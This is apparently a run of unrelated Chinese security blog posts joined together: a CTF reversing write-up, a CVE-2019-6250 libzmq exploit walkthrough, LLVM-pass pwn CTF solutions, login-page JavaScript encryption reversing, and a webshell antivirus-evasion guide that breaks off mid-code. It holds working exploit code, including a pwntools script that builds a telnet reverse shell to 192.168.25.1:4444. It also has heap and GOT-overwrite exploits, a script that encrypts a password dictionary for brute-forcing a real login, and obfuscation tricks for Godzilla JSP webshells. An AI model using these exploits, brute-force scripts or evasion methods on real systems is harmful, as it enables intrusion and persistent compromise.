byte_tmp = get_bytes(begin + i,1)        list1.append(ord(byte_tmp))        if (i + 1) % 0x1000 == 0:            print("All count:{}, collect current:{}, has finish {}".format(hex(size), hex(i + 1), float(i + 1) / size))    print('collect over')    file = "C:\\Users\\Le\\Desktop\\WASS.exe" #需对应修改    #print(bytearray(list1))    buf = bytearray(list1)    with open(file, 'wb') as fw:        fw.write(buf)    print('write over') if __name__=='__main__':    main() 得到dump下来的程序 分析dump下来的程序 根据关键字符串定位关键函数 __int64 __fastcall sub_1400064F0(__int64 a1, __int64 a2) {  char *v2; // rdi  __int64 i; // rcx  const char *v4; // rax  DWORD LastError; // eax  char v7[32]; // [rsp+0h] [rbp-20h] BYREF  char v8; // [rsp+20h] [rbp+0h] BYREF  HANDLE hSnapshot; // [rsp+28h] [rbp+8h]  PROCESSENTRY32 pe; // [rsp+50h] [rbp+30h] BYREF  BOOL v11; // [rsp+194h] [rbp+174h]  unsigned int v12; // [rsp+1B4h] [rbp+194h]  DWORD CurrentProcessId; // [rsp+1D4h] [rbp+1B4h]  DWORD th32ProcessID; // [rsp+1F4h] [rbp+1D4h]  char v15[536]; // [rsp+220h] [rbp+200h] BYREF  char v16[64]; // [rsp+438h] [rbp+418h] BYREF  LPVOID lpAddress; // [rsp+478h] [rbp+458h]  DWORD flOldProtect[9]; // [rsp+494h] [rbp+474h] BYREF  LPCSTR lpFileName; // [rsp+4B8h] [rbp+498h]  char v20[64]; // [rsp+718h] [rbp+6F8h] BYREF  char v21[64]; // [rsp+758h] [rbp+738h] BYREF  char v22[48]; // [rsp+798h] [rbp+778h] BYREF  __int64 v23; // [rsp+7C8h] [rbp+7A8h]  __int64 v24; // [rsp+7D0h] [rbp+7B0h]  __int64 v25; // [rsp+7D8h] [rbp+7B8h]  __int64 v26; // [rsp+7E0h] [rbp+7C0h]  __int64 v27; // [rsp+7E8h] [rbp+7C8h]  __int64 v28; // [rsp+7F0h] [rbp+7D0h]  v2 = &v8;  for ( i = 362i64; i; --i ) {    *(_DWORD *)v2 = -858993460;    v2 += 4; }  sub_14000148D(&unk_1400180F5);  hSnapshot = CreateToolhelp32Snapshot(2u, 0);  v11 = Process32First(hSnapshot, &pe);  v12 = -1;  CurrentProcessId = GetCurrentProcessId();  while ( v11 ) {    if ( CurrentProcessId == pe.th32ProcessID )   {      th32ProcessID = pe.th32ProcessID;      v12 = sub_140001267(pe.th32ProcessID);   }    v11 = Process32Next(hSnapshot, &pe); }  if ( v12 != -1 ) {    sub_140001479(v12, v15, 10i64);    v23 = sub_140001217(v20, " > nul");    v24 = v23;    v25 = sub_140001217(v21, "taskkill -f /pid ");    v26 = v25;    v27 = sub_14000143D(v22, v25, v15);    v28 = v27;    sub_140001069(v16, v27, v24);    sub_1400010F0(v22);    sub_1400010F0(v21);    sub_1400010F0(v20);    v4 = (const char *)sub_14000106E(v16);    system(v4);    sub_1400010F0(v16); }  lpAddress = (LPVOID)sub_140001357(sub_1400010C3);  VirtualProtect(lpAddress, 0x400ui64, 0x40u, flOldProtect);  lpFileName = *(LPCSTR *)(a2 + 8);  qword_140014470 = *(_QWORD *)(a2 + 16);  if ( !DeleteFileA(lpFileName) ) {    LastError = GetLastError();    sub_14000123A("%d", LastError); }  sub_1400010FF(sub_1400010C3, qword_140014470);  sub_1400010C3();  sub_1400013C5(v7, &unk_1400101C8);  return 0i64; } 动调调试走到flag验证的地方 动态调试跟进去 成功到达关键的地方,如果不是这么清晰的话,需要U+C键来调 __int64 sub_140005B40() {  char *v0; // rdi  __int64 i; // rcx  char v3[32]; // [rsp+0h] [rbp-20h] BYREF  char v4; // [rsp+20h] [rbp+0h] BYREF  char v5[60]; // [rsp+28h] [rbp+8h] BYREF  int v6; // [rsp+64h] [rbp+44h]  int v7[11]; // [rsp+88h] [rbp+68h]  int j; // [rsp+B4h] [rbp+94h]  int k; // [rsp+D4h] [rbp+B4h]  int *v10; // [rsp+F8h] [rbp+D8h]  unsigned int v11; // [rsp+114h] [rbp+F4h]  unsigned int v12; // [rsp+134h] [rbp+114h]  unsigned int v13; // [rsp+154h] [rbp+134h]  int v14; // [rsp+174h] [rbp+154h]  int m; // [rsp+194h] [rbp+174h]  int n; // [rsp+1B4h] [rbp+194h]  v0 = &v4;  for ( i = 110i64; i; --i ) {    *(_DWORD *)v0 = -858993460;    v0 += 4; }  sub_14000148D(&unk_1400180F5);  memset(v5, 0, 0x21ui64);  v6 = 0;  v7[0] = 98;  v7[1] = 111;  v7[2] = 109;  v7[3] = 98;  sub_14000123A("your flag:");  sub_1400010BE("%s", v5);  for ( j = 0; v5[j]; ++j )   ;  if ( j != 32 )    sub_14000123A("bad, ji~ji~ji\n");  for ( k = 0; k < 4; ++k ) {    v10 = (int *)&v5[8 * k];    v11 = *v10;    v12 = v10[1];    v13 = 0;    v14 = -2009038745;    for ( m = 0; m < 33; ++m )   {      v11 += v13 ^ (v7[v13 & 3] + v13) ^ (v12 + ((v12 >> 5) ^ (16 * v12)));      v12 += (v7[(v13 >> 11) & 3] + v13) ^ (v11 + ((v11 >> 5) ^ (16 * v11)));      v13 += v14;   }    *v10 = v11;    v10[1] = v12; }  for ( n = 0; n < 32; ++n ) {    if ( v5[n] != byte_140014000[n] )   {      v6 = 1;      break;   } }  if ( v6 == 1 ) {    sub_14000123A("bad, ji~ji~ji\n"); }  else if ( !v6 ) {    sub_14000123A("yesssss \n"); }  return sub_1400013C5(v3, &unk_140010160); } XTEA加密 #include <stdio.h> #include <stdlib.h> void decrypt(unsigned int* v, unsigned int* key,unsigned int round) {  unsigned int l = v[0], r = v[1], sum = 0, delta = 0x88408067;  sum = delta * round;  for (size_t i = 0; i < round; i++) {    sum -= delta;    r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);    l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3])^sum; }  v[0] = l;  v[1] = r; } int main() {    unsigned int v[11] = {  0xADD4F778, 0xA6D7F132, 0x61813290, 0x2D4A40A6, 0x00B05F11, 0xB6D59424, 0x231BBFC6, 0xCD405B31,    0x03020100, 0x00C30504};    unsigned int key[4] = {98,111,109,98};    for(int i=0;i<4;i++){        decrypt(v+i*2,key,33);       }    for(int i=0;i<8;i++)   {        printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));   }    return 0; } //2d326e43eb8fea8837737fc0f50f83f2 flag{2d326e43eb8fea8837737fc0f50f83f2}
CVE初探之漏洞反弹Shell(CVE-2019-6250)
概述 ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。 该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。 这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。 环境搭建 复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。 下面是针对该漏洞的环境搭建步骤 下载目标版本并安装 git clone https://github.com/zeromq/libzmq.git cd libzmq git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3 sudo apt-get install libtool pkg-config build-essential autoconf automake ./autogen.sh ./configure make sudo make install 下载cppzmq git clone https://github.com/zeromq/cppzmq cd cppzmq cmake . sudo make -j4 install 测试 cd demo 编辑main.cpp,添加printf("hello worldn"); mkdir build cd build cmake .. make ./demo demo可以正常执行即可 在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现 漏洞复现 先看看已有的poc #include <netinet/in.h> #include <arpa/inet.h> #include <zmq.hpp> #include <string> #include <iostream> #include <unistd.h> #include <thread> #include <mutex> class Thread { public: Thread() : the_thread(&Thread::ThreadMain, this) { } ~Thread(){ } private: std::thread the_thread; void ThreadMain() { zmq::context_t context (1); zmq::socket_t socket (context, ZMQ_REP); socket.bind ("tcp://*:6666"); while (true) { zmq::message_t request; // Wait for next request from client try { socket.recv (&request); } catch ( ... ) { } } } }; static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr) { int s; struct sockaddr_in remote_addr = {}; if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { abort(); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons(6666); inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr); if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1) { abort(); } const uint8_t greeting[] = { 0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */ 0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */ 0x00, /* Unused */ }; send(s, greeting, sizeof(greeting), 0); const uint8_t v2msg[] = { 0x02, /* v2_decoder_t::eight_byte_size_ready */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */ }; send(s, v2msg, sizeof(v2msg), 0); /* Write UNTIL the location of zmq::msg_t::content_t */ size_t plsize = 8183; uint8_t* pl = (uint8_t*)calloc(1, plsize); send(s, pl, plsize, 0); free(pl); uint8_t content_t_replacement[] = { /* void* data */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* size_t size */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* msg_free_fn *ffn */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* void* hint */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; /* Assumes same endianness as target */ memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr)); memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr)); memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr)); /* Overwrite zmq::msg_t::content_t */ send(s, content_t_replacement, sizeof(content_t_replacement), 0); close(s); sleep(1); } char destbuffer[100]; char srcbuffer[100] = "ping google.com"; int main(void) { Thread* rt = new Thread(); sleep(1); callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy); callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system); return 0; } 复制到demo重新编译 执行./demo 复现成功 POC分析 poc主要包括下面四部分 greeting v2msg plsize content_t_replacement v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。 if (unlikely (!_zero_copy || ((unsigned char *) read_pos_ + msg_size_ > (allocator.data () + allocator.size ())))) { rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); } else { rc = _in_progress.init (const_cast<unsigned char *> (read_pos_), static_cast<size_t> (msg_size_), shared_message_memory_allocator::call_dec_ref, allocator.buffer (), allocator.provide_content ()); if (_in_progress.is_zcmsg ()) { allocator.advance_content (); allocator.inc_ref (); } } plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。 ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf 反弹Shell 由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。 通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。 那么我的目标是反弹shell,也就是执行 system("mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1 | /bin/bash 1>backpipe1;") ,当然这只是其中一种方式。 那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。 exp如下 #!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : exp.py @Time : 2023/06/24 08:59:34 @Author : 5ma11wh1t3 @Contact : 197489628@qq.com ''' import ctypes from pwn import * import base64 context.log_level=True context.arch='amd64' elf_path = './build/demo' elf = ELF(elf_path) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) inter = lambda : p.interactive() def debug():    gdb.attach(p, 'directory    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')    pause() def lg(s,addr = None):    if addr:   print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))    else:   print('033[1;32;40m[-] %-20s 033[0m'%(s)) if __name__ == '__main__':    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1    | /bin/bash 1>backpipe1;"    with open(elf_path,'rb') as f:    binary = f.read()    ads = []    for char in re_shell:    char_address = 0x400000 + binary.index(char)    ads.append(char_address)    for i in range(len(ads)):    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8+i) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    sn(p1)    p.close()    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    # raw_input()    sn(p1)    p.close() 演示 攻击准备 本地起监听 server 攻击实施 获得shell
PWN学习之LLVM入门
一、基本流程 ①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位: ②通过逆向,找到函数名及参数,编写基本exp ③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找 ④生成.ll文件 ⑤将.ll文件输入到LLVM中 二、命令 用下面的命令可以生成.ll文件准备输入到LLVM中: clang -emit-llvm -S exp.c -o exp.ll 最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加>[文件名]来获取: opt -load ./LLVMFirst.so -hello ./exp.ll 三、例题 1.202Redhat simpleVM ①重写函数 ②逆向,编写基本exp 函数名为o0o0o0o0则继续执行sub_6AC0 循环遍历每一个基本块 这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。 getCalledFunction获取函数本身,然后获取函数名赋值给s1 getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1 这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长 push的参数也是一个,1或2,模拟压栈操作 store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值 load参数1个,1或2,将reg2赋值为reg1中的地址指向的值 add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值 min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值 得到基本exp void o0o0o0o0(); void pop(int reg){}; void push(int reg){}; void store(int reg){}; void load(int reg){}; void add(int reg,int num){}; void min(int reg,int num){}; void o0o0o0o0(){ }; ③找到漏洞,写攻击exp store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。 load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。 add和min可以对reg里的值进行加减,相当于任意修改 查看一下opt的保护 没有开pie 所以,攻击思路如下 reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表 add(1,free.got) load(1) add(2,ogg - free) store(1) gdb调试 gdb opt-8 set args -load ./VMPass.so -VMPass ./exp.ll b main b *0x4bb7e3 b *(0x7f11c1a00000+0x73EE) tele 0x7f11c1a00000+0x20E580 调试到这里,.so已经加载好了 下断点调试即可 调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同 2.CISCN2021 satool PASS注册名称为SAPass 函数名B4ckDo0r save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中 stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100 fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节 run函数,没有参数,将chunk的前八字节作为函数指针调动 基本exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ } 这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成smallbins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可 完整exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ save("aaaa","bbbb"); save("","b"); stealkey(); fakekey(-0x1090f2); run(); } 3.CISCN2023 llvmHELLO PASS注册名称为Hello Add函数,一个参数,申请一个堆块 Del函数,一个参数,free一个堆块,没有uaf edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节 Alloc函数,没有参数,将0x10000设置为可读可写可执行 EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处 基本exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ } 在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcachebinattack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcachebinattack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell 最终exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ Add(0xa0); Add(0x78); //0x8203 Edit(1,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(2,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(3,0,0xdeadbeef); // 0x8602 Del(1); Del(3); //0x83e4 Edit(2,32,0x78b108); // Alloc();//0x8690 Edit(0,0,0x56f63148); // 0x8602 EditAlloc(0,0); Edit(0,0,0x622fbf48); // 0x8602 EditAlloc(0,4); Edit(0,0,0x2f2f6e69); // 0x8602 EditAlloc(0,8); Edit(0,0,0x54576873); // 0x8602 EditAlloc(0,12); Edit(0,0,0x583b6a5f); // 0x8602 EditAlloc(0,16); Edit(0,0,0x00050f99); // 0x8602 EditAlloc(0,20); Add(0x78); Add(0x78); Edit(3,0,0x10000); Edit(3,1,0); Del(1); }
对某登录站点的JS前端逆向思路
前言 js逆向一直没有相关了解,虽然目前渗透遇见的不是很多,大多数遇见的要么不加密,要么无法实现其加密流程,不过最近看到了一个较为简单的站点正好能够逆向出来,就做了简单记录。本文旨在介绍js逆向的一些基础思路,希望能对初学js前端逆向的师傅有所帮助。 JS定位 在我们寻找JS源代码时,如果直接翻看全部的js文件以来寻找自己想要的一部分,无疑是复杂繁琐的,且工作量巨大,有点类似大海捞针,因此这里我们需要借助一些巧妙的办法来快速定位某标签的js语句,具体方法如下。 元素审查定位 当我们不确定某处的js文件位置时,可以使用F12,点击元素审查,然后点击登录处,观察事件监听器 此时可以观察到login.js文件出现,接下来就可以去对应文件下继续深入。 发现check函数,寻找check函数 此时发现加密是secret函数,再继续跟secert函数就可以了解其整体流程。 全局搜索法 像我们常见的登录框,他们要提交的加密参数一般名为password,或者加密为Crypto加密,因此我们可以全局搜索此类关键字,进而寻找我们需要找的关键加密js语句,进而实现js逆向。 具体操作也很简单,这里简单举个例子。 首先打开F12,随便点击一个元素,而后ctrl+shift+f,接下来全局搜索关键词即可 此时含关键词的语句映入眼帘,像一些css文件中的直接略过即可,而后即可找到真正生成密码的地方 接下来便可以深入secret,了解加密方法。 Onclick定位 像一些登录点是存在着onclick属性的,如若该属性值是js函数,那么就极有可能是我们要寻找的js加密函数,而后进行寻找相关函数即可。 注:图参考自cony1大师傅。 以cony1大师傅的图为例进行简单讲解 这里发现ssologin函数,接下来寻找该函数 此时即可发现相关js语句。 实战 某登录站点js逆向 找到一个登录站点,随意输入 发现用户名和密码均被加密,接下来ctrl+shift+f,全局搜索password字段,寻找加密点 第一个这里明显是输入框的password,且是注释,肯定不是这里,接着寻找,后来到 整体代码如下        function check() {            //这里将用户名,密码加密            var code = 'letu@levle';            var yname = $("#yname").val();            if (yname == '') {                alert("用户名不能为空");                return false;           } else {                var newName = secret(yname, code, false);                $("#xname").val(newName);           }            var ypassword = $("#ypassword").val();            if (ypassword == '') {                alert("密码不能为空");                return false;           } else {                var newPassword = secret(ypassword, code, false);                $("#xpassword").val(newPassword);           }       } 可以看出js代码逻辑并不难,首先提取出ypassword标签下的内容,而后验证其是否为空,若不为空,则对其进行secret函数处理,很明显,这个secret函数就是加密函数,所以我们接下来跟进此加密函数 这里直接给出了iv和key,所以接下来打断点调试就行了,而后打上断点 接下来开始随便输入密码提交,而后来到调试界面 选中code.substring(16)得到keyf3991777154f4bd0 选中code.substring(0,16)得到偏移量ace43e65106a77f6 下方也给出了Padding和mode分别是Pkcs7和CBC,所以接下来直接解密即可,在网络中我们可以看到提交后加密的账密 拿去随便找个AES解密网站 与所输入的进行比对 成功得到正确结果 接下来编写脚本即可,直接将字典的内容全部进行加密,而后放入burp进行爆破 import base64 from Crypto.Cipher import AES from Crypto.Hash import MD5 from Crypto.Util.Padding import pad #填入AES的key和iv key = 'f3991777154f4bd0' iv = 'ace43e65106a77f6' def AES_Encrypt(data):    global key    global iv    cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))    paddingdata = pad(data.encode('utf-8'),AES.block_size)    encrypted = cipher.encrypt(paddingdata)    #print(base64.b64encode(encrypted).decode())    return base64.b64encode(encrypted).decode() password = [] with open('password.txt','r',encoding='utf-8') as f:    for i in f:        password.append(i.strip()) with open('password_aes.txt','w',encoding='utf-8') as w:    for i in password:        data = AES_Encrypt(i)+'\n'        w.write(data) 数据长度明显与错误时不一致,不过这里也未成功进入后台,有二次验证,Google验证码无从下手,故点到为止。 某道js逆向 接下来进行抓包 这里我们首先注意一下每次不同点在哪,以此为入口点来进行下去,因此我们多次刷新界面抓包,同样的参数观察包的参数哪个值是不同的 从上图可以看出sign和mysticTime是变化的,因此接下来针对这两个变量进行深入,如果我们能够控制这两个变量,那么我们就可以实现直接脚本请求得到翻译对应的语句。 所以接下来首先从sign开始,我们首先进行F12,而后输入ctrl+shift+f全局搜索关键词 这里可以发现出现了js中含有sign关键字的,但像这个inpage.js他明显不是我们要找的js语句,因此继续往下寻找(输入sign:更容易找到对应函数)。这里我们找到如下语句 相关代码如下 const u = "fanyideskweb"             , d = "webfanyi"             , m = "client,mysticTime,product"             , p = "1.0.0"             , g = "web"             , b = "fanyi.web"             , A = 1             , h = 1             , f = 1             , v = "wifi"             , O = 0;            function y(e) {                return c.a.createHash("md5").update(e).digest()           }            function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           }            function k(e, t) {                return j(`client=${u}&mysticTime=${e}&product=${d}&key=${t}`)           }            function E(e, t) {                const o = (new Date).getTime();                return {                    sign: k(o, e),                    client: u,                    product: d,                    appVersion: p,                    vendor: g,                    pointParam: m,                    mysticTime: o,                    keyfrom: b,                    mid: A,                    screen: h,                    model: f,                    network: v,                    abtest: O,                    yduuid: t || "abcdefg"               }           } 这里可以看到sign是由函数k构成的,同时注意到这里也给出了k的参数,k是由client=fanyideskweb&mysticTime=${e}&product=webfanyi&key=${t}所组成的,此时再看函数E,o是时间戳,e这里未知,这时候该怎么办呢,先看看他是不是固定值,当自己不确定在哪下断点调试时,就在附近的几个可疑点都打下断点,观察e的值即可 经观察,这里的e值是固定的,即fsdsogkndfokasodnaso,此时k(o,e)中的参数我们都了解了,但我们注意到k函数中是有j在外包裹的,因此我们需要对j函数进行相关了解 function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           } 明显的md5加密,因此到这里也就都清楚了。 当我们进行请求时,首先获取当前的时间戳,此作为参数之一,同时与client等参数值组合,进行md5加密,就组成了sign的值。对于mysticTime这个参数,我们从k函数也了解到它其实就是时间戳,因此两个变化的参数到目前就都了解其生成过程了。 接下来尝试写python脚本 import hashlib import time import requests requests.packages.urllib3.disable_warnings() headers = {"Content-Length": "312", "Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"", "Accept": "application/json, text/plain, */*", "Content-Type": "application/x-www-form-urlencoded", "Sec-Ch-Ua-Mobile":"?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://fanyi.youdao.com", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://fanyi.youdao.com/", "Accept-Encoding": "gzip, deflate", } Cookie = { "OUTFOX_SEARCH_USER_ID":"239978291@10.130.108.41", "OUTFOX_SEARCH_USER_ID_NCOO":"520521807.43848985" } url = "" word = input("请输入翻译内容:") localtime = str(int(time.time() * 1000)) canshu = "client=fanyideskweb&mysticTime={}&product=webfanyi&key=fsdsogkndfokasodnaso".format(localtime) sign = hashlib.md5(canshu.encode(encoding='utf8')).hexdigest() data = {    "i": f"{word}",    "from": "auto",    "to": "",    "dictResult": "true",    "keyid": "webfanyi",    "sign": sign,    "client": "fanyideskweb",    "product": "webfanyi",    "appVersion": "1.0.0",    "vendor": "web",    "pointParam": "client,mysticTime,product",    "mysticTime": localtime,    "keyfrom": "fanyi.web" } res = requests.post(url=url,headers=headers,cookies=Cookie,data=data,verify=False) print(res.text) 此时便得到了加密数据,解密同理,不再阐述。
Webshell混淆免杀的一些思路
1、简介 为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。 2、混淆字符 混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。 Java代码示例: 然后可以上传vt查杀可以看到还是会被挺多杀软识别的。 现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。 3、利用注释 利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。 Java示例: 然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。 值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。 4、改变代码特征 改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加 部分代码截图: 可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。 全部代码: <%@ page import="java.io.InputStream" %> <%@ page import="javax.crypto.spec.SecretKeySpec" %> <%@ page import="javax.crypto.Cipher" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.io.IOException" %> <%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";    class Register 